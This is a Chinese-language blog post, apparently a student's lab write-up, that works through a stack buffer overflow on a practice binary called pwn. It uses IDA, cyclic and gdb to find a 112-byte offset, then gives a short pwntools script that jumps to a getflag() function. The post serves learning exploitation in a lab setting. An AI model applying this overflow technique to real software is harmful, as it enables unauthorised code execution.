PWN实验

作者: 喵_ffc4 | 来源:发表于2019-03-14 22:25 被阅读8次

    PWN实验

    这可能还真的是我第一次接触这类奇奇怪怪的东西。

    首先,想到的肯定是先把pwn这个文件在Ubuntu虚拟机的terminal中执行一遍。

    如图所示,随便输入一个什么东西,程序就结束了。

    用IDA打开这个程序,发现:

    发现了有getflag()函数,再找到getflag()的位置:

    地址为0x0804858B.

    回到ubuntu里,输入【cyclic 200】生成200个有序字符,以查看什么时候溢出的。

    启用gdb调试,输入【gdb pwn】,如下图所示:

    开始运行,输入【run】,如下图所示:

    将那产生的200个字符作为输入:

    观察可知溢出的地方是0x62616164.再输入【cyclic -l 0x62616164】:

    得到112,0x62616164对应的ASCII码为'baad',说明‘baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。

    那么我们就要把我们要他跳转的位置放在112个字母后让他溢出,就可以实现跳转。

    写脚本,将其放在112个填充物的后面。


    脚本代码:

    # -*- coding: utf-8 -*-

    """

    Created on Thu Mar 14 15:04:49 2019

    @author: ZHANGJIAHAO

    """

    from pwn import *

    sh=process('./pwn')

    elf=ELF('./pwn')

    target=0x0804858B

    sh.sendline('a'*112+p32(target))

    #至此就获得了系统权限

    sh.interactive()

    #打开交互页面


    自己写一个f1ag文件,我在文件里输入的是【{flag}ZJH】,执行效果如下:

    最终,获得了系统权限。

    相关文章

      网友评论

        本文标题:PWN实验

        本文链接:https://www.haomeiwen.com/subject/cexhmqtx.html